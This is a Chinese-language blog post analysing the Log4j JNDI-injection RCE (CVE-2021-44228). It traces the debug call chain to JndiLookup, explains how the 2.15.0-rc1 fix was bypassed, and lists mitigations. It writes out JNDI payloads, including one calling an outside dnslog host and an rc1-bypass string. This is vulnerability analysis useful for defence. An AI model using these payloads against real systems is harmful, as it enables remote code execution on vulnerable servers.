Log4jRCE漏洞分析

2021年12月9日注定是个不平凡的日子,整个安全圈就像过年了一样,Log4j爆出了RCE漏洞,比之前Shiro、S2还要劲爆,堪称核弹级漏洞,百度、游戏我的世界、AirPods等相继沦陷,严重程度紧急程度不言而喻。这么严重的漏洞是如何产生的呢?

漏洞成因:

当日志信息中含有${字符串时,程序会使用lookup解析字符串导致产生注入漏洞。
lookup机制提供了一种在任意位置向Log4j配置添加值的方法,支持date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j这些协议,攻击者可以使用特定payload构造jndi协议,造成JNDI注入,进而造成RCE漏洞

代码分析:

使用唐小风的exp搭建一个demo,https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
1、给logger.error()打上断点,进行debug调试

2、点击下一步,进入到了error:AbstractLogger (org.apache.logging.log4j.spi)中

3、跟进logIfEnabled:AbstractLogger (org.apache.logging.log4j.spi)中

这里会调用isEnabled:Logger (org.apache.logging.log4j.core)判断logger的级别

如果满足要求,会进入 logMessage:AbstractLogger(org.apache.logging.log4j.spi)中

这里省略一些不重要的函数调用,直接进入log中
4、LoggerConfig:logEvent(org.apache.logging.log4j.core.config)

然后进入到 processLogEvent:LoggerConfig (org.apache.logging.log4j.core.config)中调用callAppenders

callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)中调用callAppender

tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
中调用append

directEncodeEvent:197AbstractOutputStreamAppender(org.apache.logging.log4j.core.appender)中调用encode

toText:244, PatternLayout (org.apache.logging.log4j.core.layout)中调用toSerializable

toSerializable:344,PatternLayout$PatternSerializer(org.apache.logging.log4j.core.layout)中调用format


5、我们跟进到format:60, LiteralPatternConverter (org.apache.logging.log4j.core.pattern)这里是第一个关键点,我们看以下代码

this.substitute = config != null && literal.contains("${");
this.substitute ? this.config.getStrSubstitutor().replace(event, this.literal) : this.literal

这是一个三元表达式,需要同时满足config不为空和result包含${,才会运行 this.config.getStrSubstitutor().replace(event, result),所以payload中要有${才可以


继续跟进到substitute:StrSubstitutor (org.apache.logging.log4j.core.lookup)
中,可以看到匹配一些特殊字符

如果字符串中有这些字符就进行删除,我们的payload就被处理为了jndi:ldap://h1glio.dnslog.cn/id

继续跟进

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

调用了 getVariableResolver:StrSubstitutor (org.apache.logging.log4j.core.lookup),该方法会根据协议来进行处理操作,支持协议有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

然后跟进到 lookup: Interpolator (org.apache.logging.log4j.core.lookup)

程序匹配到来jndi,就会选用Jndi Lookup进行处理.JndiLookup允许通过JNDI检索变量,默认情况下, key的前缀为 java:comp/env /,但如果key包含:,则不会添加前缀
关于lookup详情,可参考文档https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

继续跟进,在 lookup:JndiManager (org.apache.logging.log4j.core.net)
lookup:56, 中会调用 jndiManager.lookup解析请求,最终形成注入漏洞.

Bypass rc1:

2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar,但是rc1存在被绕过的风险。
我们看下官方的rc2的修复包,对比rc1,我们看到是在catch下面加了return null。
其实rc1的绕过就在此处,想办法让其抛出URISyntaxException异常,那么代码就能进入到catch中,然后就能像未修复之前,执行lookup。

查阅资料发现URI uri = new URI(name);其实是将name转换为等效的 URI,任何 name实例只要遵守 RFC 2396 就可以转化为 URI,有些未严格遵守该规则的 name 将无法转化,就会抛出URISyntaxException异常,所以我们使用${jndi:ldap://127.0.0.1:1389/ badClassName}就可以绕过rc1,注意/badClassName之间存在空格,空格的存在使得 name未遵守RFC 2396,就会抛出异常,进而执行lookup

应急方案:

可以使用waf等安全设备对${}样式的字符串进行匹配拦截;   
在log4j2.ini配置中可以设置log4j2formatMsgNoLookups=True 禁止解析 JDNI;
系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true;
修改Jvm运行参数: -Dlog4j2.formatMsgNoLookups=true
  • 发表于 2021-12-15 11:13:53
  • 阅读 ( 11098 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
苏苏的五彩棒
苏苏的五彩棒

25 篇文章

站长统计